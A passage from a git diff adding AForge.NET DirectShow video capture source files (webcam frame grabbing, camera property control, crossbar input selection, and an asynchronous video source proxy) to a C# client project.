moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Get( property, out value, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + WorkerThread( true ); + } + + private void WorkerThread( bool runGraph ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + bool isSapshotSupported = false; + + // grabber + Grabber videoGrabber = new Grabber( this, false ); + Grabber snapshotGrabber = new Grabber( this, true ); + + // objects + object captureGraphObject = null; + object graphObject = null; + object videoGrabberObject = null; + object snapshotGrabberObject = null; + object crossbarObject = null; + + // interfaces + ICaptureGraphBuilder2 captureGraph = null; + IFilterGraph2 graph = null; + IBaseFilter sourceBase = null; + IBaseFilter videoGrabberBase = null; + IBaseFilter snapshotGrabberBase = null; + ISampleGrabber videoSampleGrabber = null; + ISampleGrabber snapshotSampleGrabber = null; + IMediaControl mediaControl = null; + IAMVideoControl videoControl = null; + IMediaEventEx mediaEvent = null; + IPin pinStillImage = null; + IAMCrossbar crossbar = null; + + try + { + // get type of capture graph builder + Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); + if ( type == null ) + throw new ApplicationException( "Failed creating capture graph builder" ); + + // create capture graph builder + captureGraphObject = Activator.CreateInstance( type ); + captureGraph = (ICaptureGraphBuilder2) captureGraphObject; + + // get type of filter graph + type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IFilterGraph2) graphObject; + + // set filter graph to the capture graph builder + captureGraph.SetFiltergraph( (IGraphBuilder) graph ); + + // create source device's object + sourceObject = FilterInfo.CreateFilter( deviceMoniker ); + if ( sourceObject == null ) + throw new ApplicationException( "Failed creating device object for moniker" ); + + // get base filter interface of source device + sourceBase = (IBaseFilter) sourceObject; + + // get video control interface of the device + try + { + videoControl = (IAMVideoControl) sourceObject; + } + catch + { + // some camera drivers may not support IAMVideoControl interface + } + + // get type of sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber used for video capture + videoGrabberObject = Activator.CreateInstance( type ); + videoSampleGrabber = (ISampleGrabber) videoGrabberObject; + videoGrabberBase = (IBaseFilter) videoGrabberObject; + // create sample grabber used for snapshot capture + snapshotGrabberObject = Activator.CreateInstance( type ); + snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; + snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; + + // add source and grabber filters to graph + graph.AddFilter( sourceBase, "source" ); + graph.AddFilter( videoGrabberBase, "grabber_video" ); + graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + + videoSampleGrabber.SetMediaType( mediaType ); + snapshotSampleGrabber.SetMediaType( mediaType ); + + // get crossbar object to to allows configuring pins of capture card + captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); + if ( crossbarObject != null ) + { + crossbar = (IAMCrossbar) crossbarObject; + } + isCrossbarAvailable = ( crossbar != null ); + crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); + + if ( videoControl != null ) + { + // find Still Image output pin of the vedio device + captureGraph.FindPin( sourceObject, PinDirection.Output, + PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); + // check if it support trigger mode + if ( pinStillImage != null ) + { + VideoControlFlags caps; + videoControl.GetCaps( pinStillImage, out caps ); + isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); + } + } + + // configure video sample grabber + videoSampleGrabber.SetBufferSamples( false ); + videoSampleGrabber.SetOneShot( false ); + videoSampleGrabber.SetCallback( videoGrabber, 1 ); + + // configure snapshot sample grabber + snapshotSampleGrabber.SetBufferSamples( true ); + snapshotSampleGrabber.SetOneShot( false ); + snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); + + // configure pins + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.Capture, videoResolution, ref videoCapabilities ); + if ( isSapshotSupported ) + { + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); + } + else + { + snapshotCapabilities = new VideoCapabilities[0]; + } + + // put video/snapshot capabilities into cache + lock ( cacheVideoCapabilities ) + { + if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); + } + } + lock ( cacheSnapshotCapabilities ) + { + if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); + } + } + + if ( runGraph ) + { + // render capture pin + captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); + + if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + videoGrabber.Width = vih.BmiHeader.Width; + videoGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + // render snapshot pin + captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); + + if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + snapshotGrabber.Width = vih.BmiHeader.Width; + snapshotGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + startTime = DateTime.Now; + videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); + } + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.DeviceLost ) + { + reasonToStop = ReasonToFinishPlaying.DeviceLost; + break; + } + } + } + + if ( needToSetVideoInput ) + { + needToSetVideoInput = false; + // set/check current input type of a video card (frame grabber) + if ( isCrossbarAvailable.Value ) + { + SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToSimulateTrigger ) + { + needToSimulateTrigger = false; + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); + } + } + + if ( needToDisplayPropertyPage ) + { + needToDisplayPropertyPage = false; + DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); + + if ( crossbar != null ) + { + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToDisplayCrossBarPropertyPage ) + { + needToDisplayCrossBarPropertyPage = false; + + if ( crossbar != null ) + { + DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + captureGraph = null; + graph = null; + sourceBase = null; + mediaControl = null; + videoControl = null; + mediaEvent = null; + pinStillImage = null; + crossbar = null; + + videoGrabberBase = null; + snapshotGrabberBase = null; + videoSampleGrabber = null; + snapshotSampleGrabber = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceObject != null ) + { + Marshal.ReleaseComObject( sourceObject ); + sourceObject = null; + } + if ( videoGrabberObject != null ) + { + Marshal.ReleaseComObject( videoGrabberObject ); + videoGrabberObject = null; + } + if ( snapshotGrabberObject != null ) + { + Marshal.ReleaseComObject( snapshotGrabberObject ); + snapshotGrabberObject = null; + } + if ( captureGraphObject != null ) + { + Marshal.ReleaseComObject( captureGraphObject ); + captureGraphObject = null; + } + if ( crossbarObject != null ) + { + Marshal.ReleaseComObject( crossbarObject ); + crossbarObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + // Set resolution for the specified stream configuration + private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) + { + if ( resolution == null ) + { + return; + } + + // iterate through device's capabilities to find mediaType for desired resolution + int capabilitiesCount = 0, capabilitySize = 0; + AMMediaType newMediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); + + for ( int i = 0; i < capabilitiesCount; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); + + if ( resolution == vc ) + { + if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) + { + break; + } + } + } + catch + { + } + } + + // set the new format + if ( newMediaType != null ) + { + streamConfig.SetFormat( newMediaType ); + newMediaType.Dispose( ); + } + } + + // Configure specified pin and collect its capabilities if required + private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, + Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) + { + object streamConfigObject; + graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); + + if ( streamConfigObject != null ) + { + IAMStreamConfig streamConfig = null; + + try + { + streamConfig = (IAMStreamConfig) streamConfigObject; + } + catch ( InvalidCastException ) + { + } + + if ( streamConfig != null ) + { + if ( capabilities == null ) + { + try + { + // get all video capabilities + capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); + } + catch + { + } + } + + // check if it is required to change capture settings + if ( resolutionToSet != null ) + { + SetResolution( streamConfig, resolutionToSet ); + } + } + } + + // if failed resolving capabilities, then just create empty capabilities array, + // so we don't try again + if ( capabilities == null ) + { + capabilities = new VideoCapabilities[0]; + } + } + + // Display property page for the specified object + private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) + { + try + { + // retrieve ISpecifyPropertyPages interface of the device + ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; + + // get property pages from the property bag + CAUUID caGUID; + pPropPages.GetPages( out caGUID ); + + // get filter info + FilterInfo filterInfo = new FilterInfo( deviceMoniker ); + + // create and display the OlePropertyFrame + Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); + + // release COM objects + Marshal.FreeCoTaskMem( caGUID.pElems ); + } + catch + { + } + } + + // Collect all video inputs of the specified crossbar + private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) + { + return cacheCrossbarVideoInputs[deviceMoniker]; + } + + List videoInputsList = new List( ); + + if ( crossbar != null ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + // collect all video inputs + for ( int i = 0; i < inPinsCount; i++ ) + { + int pinIndexRelated; + PhysicalConnectorType type; + + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type < PhysicalConnectorType.AudioTuner ) + { + videoInputsList.Add( new VideoInput( i, type ) ); + } + } + } + } + + VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; + videoInputsList.CopyTo( videoInputs ); + + cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); + + return videoInputs; + } + } + + // Get type of input connected to video output of the crossbar + private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) + { + VideoInput videoInput = VideoInput.Default; + + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + if ( videoOutputPinIndex != -1 ) + { + int videoInputPinIndex; + + // get index of the input pin connected to the output + if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) + { + PhysicalConnectorType inputType; + + crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); + + videoInput = new VideoInput( videoInputPinIndex, inputType ); + } + } + } + + return videoInput; + } + + // Set type of input connected to video output of the crossbar + private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) + { + if ( videoInput.Type != PhysicalConnectorType.Default ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int videoInputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + // find index of the required input pin + for ( int i = 0; i < inPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) + { + videoInputPinIndex = i; + break; + } + } + + // try connecting pins + if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && + ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) + { + crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); + } + } + } + } + + /// + /// Notifies clients about new frame. + /// + /// + /// New frame's image. + /// + private void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + /// + /// Notifies clients about new snapshot frame. + /// + /// + /// New snapshot's image. + /// + private void OnSnapshotFrame( Bitmap image ) + { + TimeSpan timeSinceStarted = DateTime.Now - startTime; + + // TODO: need to find better way to ignore the first snapshot, which is sent + // automatically (or better disable it) + if ( timeSinceStarted.TotalSeconds >= 4 ) + { + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) + SnapshotFrame( this, new NewFrameEventArgs( image ) ); + } + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private VideoCaptureDevice parent; + private bool snapshotMode; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( VideoCaptureDevice parent, bool snapshotMode ) + { + this.parent = parent; + this.snapshotMode = snapshotMode; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + if ( snapshotMode ) + { + parent.OnSnapshotFrame( image ); + } + else + { + parent.OnNewFrame( image ); + } + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/VideoInput.cs b/Client/Core/AForge/Video.DirectShow/VideoInput.cs new file mode 100644 index 000000000..d88b64d30 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/VideoInput.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// Video input of a capture board. + /// + /// + /// The class is used to describe video input of devices like video capture boards, + /// which usually provide several inputs. + /// + /// + public class VideoInput + { + /// + /// Index of the video input. + /// + public readonly int Index; + + /// + /// Type of the video input. + /// + public readonly PhysicalConnectorType Type; + + internal VideoInput( int index, PhysicalConnectorType type ) + { + Index = index; + Type = type; + } + + /// + /// Default video input. Used to specify that it should not be changed. + /// + public static VideoInput Default + { + get { return new VideoInput( -1, PhysicalConnectorType.Default ); } + } + } +} diff --git a/Client/Core/AForge/Video/AsyncVideoSource.cs b/Client/Core/AForge/Video/AsyncVideoSource.cs new file mode 100644 index 000000000..cb308610e --- /dev/null +++ b/Client/Core/AForge/Video/AsyncVideoSource.cs @@ -0,0 +1,473 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2005-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + + /// + /// Proxy video source for asynchronous processing of another nested video source. + /// + /// + /// The class represents a simple proxy, which wraps the specified + /// with the aim of asynchronous processing of received video frames. The class intercepts + /// event from the nested video source and fires it to clients from its own thread, which is different from the thread + /// used by nested video source for video acquisition. This allows clients to perform processing of video frames + /// without blocking video acquisition thread, which continue to run and acquire next video frame while current is still + /// processed. + /// + /// For example, let’s suppose that it takes 100 ms for the nested video source to acquire single frame, so the original + /// frame rate is 10 frames per second. Also let’s assume that we have an image processing routine, which also takes + /// 100 ms to process a single frame. If the acquisition and processing are done sequentially, then resulting + /// frame rate will drop to 5 frames per second. However, if doing both in parallel, then there is a good chance to + /// keep resulting frame rate equal (or close) to the original frame rate. + /// + /// The class provides a bonus side effect - easer debugging of image processing routines, which are put into + /// event handler. In many cases video source classes fire their + /// event from a try/catch block, which makes it very hard to spot error made in user's code - the catch block simply + /// hides exception raised in user’s code. The does not have any try/catch blocks around + /// firing of event, so always user gets exception in the case it comes from his code. At the same time + /// nested video source is not affected by the user's exception, since it runs in different thread. + /// + /// Sample usage: + /// + /// // usage of AsyncVideoSource is the same as usage of any + /// // other video source class, so code change is very little + /// + /// // create nested video source, for example JPEGStream + /// JPEGStream stream = new JPEGStream( "some url" ); + /// // create async video source + /// AsyncVideoSource asyncSource = new AsyncVideoSource( stream ); + /// // set NewFrame event handler + /// asyncSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// asyncSource.Start( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class AsyncVideoSource : IVideoSource + { + private readonly IVideoSource nestedVideoSource = null; + private Bitmap lastVideoFrame = null; + + private Thread imageProcessingThread = null; + private AutoResetEvent isNewFrameAvailable = null; + private AutoResetEvent isProcessingThreadAvailable = null; + + // skip frames or not in the case if processing thread is busy + private bool skipFramesIfBusy = false; + // processed frames count + private int framesProcessed; + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// This event is fired from a different thread other than the video acquisition thread created + /// by . This allows nested video frame to continue acquisition of the next + /// video frame while clients perform processing of the current video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + /// Unlike event, this event is simply redirected to the corresponding + /// event of the , so it is fired from the thread of the nested video source. + /// + /// + public event VideoSourceErrorEventHandler VideoSourceError + { + add { nestedVideoSource.VideoSourceError += value; } + remove { nestedVideoSource.VideoSourceError -= value; } + } + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// Unlike event, this event is simply redirected to the corresponding + /// event of the , so it is fired from the thread of the nested video source. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished + { + add { nestedVideoSource.PlayingFinished += value; } + remove { nestedVideoSource.PlayingFinished -= value; } + } + + /// + /// Nested video source which is the target for asynchronous processing. + /// + /// + /// The property is set through the class constructor. + /// + /// All calls to this object are actually redirected to the nested video source. The only + /// exception is the event, which is handled differently. This object gets + /// event from the nested class and then fires another + /// event, but from a different thread. + /// + /// + public IVideoSource NestedVideoSource + { + get { return nestedVideoSource; } + } + + /// + /// Specifies if the object should skip frames from the nested video source when it is busy. + /// + /// + /// Specifies if the object should skip frames from the nested video source + /// in the case if it is still busy processing the previous video frame in its own thread. + /// + /// Default value is set to . + /// + public bool SkipFramesIfBusy + { + get { return skipFramesIfBusy; } + set { skipFramesIfBusy = value; } + } + + /// + /// Video source string. + /// + /// + /// The property is redirected to the corresponding property of , + /// so check its documentation to find what it means. + /// + public string Source + { + get { return nestedVideoSource.Source; } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the nested video source received from + /// the moment of the last access to the property. + /// + /// + public int FramesReceived + { + get { return nestedVideoSource.FramesReceived; } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the nested video source received from + /// the moment of the last access to the property. + /// + public long BytesReceived + { + get { return nestedVideoSource.BytesReceived; } + } + + /// + /// Processed frames count. + /// + /// + /// The property keeps the number of processed video frames since the last access to this property. + /// + /// + /// The value of this property equals to in most cases if the + /// property is set to - every received frame gets processed + /// sooner or later. However, if the property is set to , + /// then value of this property may be lower than the value of the property, which + /// means that nested video source performs acquisition faster than client perform processing of the received frame + /// and some frame are skipped from processing. + /// + /// + public int FramesProcessed + { + get + { + int frames = framesProcessed; + framesProcessed = 0; + return frames; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of the video source object - running or not. + /// + public bool IsRunning + { + get + { + bool isRunning = nestedVideoSource.IsRunning; + + if ( !isRunning ) + { + Free( ); + } + + return isRunning; + } + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Nested video source which is the target for asynchronous processing. + /// + public AsyncVideoSource( IVideoSource nestedVideoSource ) + { + this.nestedVideoSource = nestedVideoSource; + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Nested video source which is the target for asynchronous processing. + /// Specifies if the object should skip frames from the nested video source + /// in the case if it is still busy processing the previous video frame. + /// + public AsyncVideoSource( IVideoSource nestedVideoSource, bool skipFramesIfBusy ) + { + this.nestedVideoSource = nestedVideoSource; + this.skipFramesIfBusy = skipFramesIfBusy; + } + + /// + /// Start video source. + /// + /// + /// Starts the nested video source and returns execution to caller. This object creates + /// an extra thread which is used to fire events, so the image processing could be + /// done on another thread without blocking video acquisition thread. + /// + public void Start( ) + { + if ( !IsRunning ) + { + framesProcessed = 0; + + // create all synchronization events + isNewFrameAvailable = new AutoResetEvent( false ); + isProcessingThreadAvailable = new AutoResetEvent( true ); + + // create image processing thread + imageProcessingThread = new Thread( new ThreadStart( imageProcessingThread_Worker ) ); + imageProcessingThread.Start( ); + + // start the nested video source + nestedVideoSource.NewFrame += new NewFrameEventHandler( nestedVideoSource_NewFrame ); + nestedVideoSource.Start( ); + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + nestedVideoSource.SignalToStop( ); + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + nestedVideoSource.WaitForStop( ); + Free( ); + } + + /// + /// Stop video source. + /// + /// + /// Stops nested video source by calling its method. + /// See documentation of the particular video source for additional details. + /// + public void Stop( ) + { + nestedVideoSource.Stop( ); + Free( ); + } + + private void Free( ) + { + if ( imageProcessingThread != null ) + { + nestedVideoSource.NewFrame -= new NewFrameEventHandler( nestedVideoSource_NewFrame ); + + // make sure processing thread does nothing + isProcessingThreadAvailable.WaitOne( ); + // signal worker thread to stop and wait for it + lastVideoFrame = null; + isNewFrameAvailable.Set( ); + imageProcessingThread.Join( ); + imageProcessingThread = null; + + // release events + isNewFrameAvailable.Close( ); + isNewFrameAvailable = null; + + isProcessingThreadAvailable.Close( ); + isProcessingThreadAvailable = null; + } + } + + // New frame from nested video source + private void nestedVideoSource_NewFrame( object sender, NewFrameEventArgs eventArgs ) + { + // don't even try doing something if there are no clients + if ( NewFrame == null ) + return; + + if ( skipFramesIfBusy ) + { + if ( !isProcessingThreadAvailable.WaitOne( 0, false ) ) + { + // return in the case if image processing thread is still busy and + // we are allowed to skip frames + return; + } + } + else + { + // make sure image processing thread is available in the case we cannot skip frames + isProcessingThreadAvailable.WaitOne( ); + } + + // pass the image to processing frame and exit + lastVideoFrame = CloneImage( eventArgs.Frame ); + isNewFrameAvailable.Set( ); + } + + private void imageProcessingThread_Worker( ) + { + while ( true ) + { + // wait for new frame to process + isNewFrameAvailable.WaitOne( ); + + // if it is null, then we need to exit + if ( lastVideoFrame == null ) + { + break; + } + + if ( NewFrame != null ) + { + NewFrame( this, new NewFrameEventArgs( lastVideoFrame ) ); + } + + lastVideoFrame.Dispose( ); + lastVideoFrame = null; + framesProcessed++; + + // we are free now for new image + isProcessingThreadAvailable.Set( ); + } + } + + // Note: image cloning is taken from AForge.Imaging.Image.Clone() to avoid reference, + // which may be unwanted + + private static Bitmap CloneImage( Bitmap source ) + { + // lock source bitmap data + BitmapData sourceData = source.LockBits( + new Rectangle( 0, 0, source.Width, source.Height ), + ImageLockMode.ReadOnly, source.PixelFormat ); + + // create new image + Bitmap destination = CloneImage( sourceData ); + + // unlock source image + source.UnlockBits( sourceData ); + + // + if ( + ( source.PixelFormat == PixelFormat.Format1bppIndexed ) || + ( source.PixelFormat == PixelFormat.Format4bppIndexed ) || + ( source.PixelFormat == PixelFormat.Format8bppIndexed ) || + ( source.PixelFormat == PixelFormat.Indexed ) ) + { + ColorPalette srcPalette = source.Palette; + ColorPalette dstPalette = destination.Palette; + + int n = srcPalette.Entries.Length; + + // copy pallete + for ( int i = 0; i < n; i++ ) + { + dstPalette.Entries[i] = srcPalette.Entries[i]; + } + + destination.Palette = dstPalette; + } + + return destination; + } + + private static Bitmap CloneImage( BitmapData 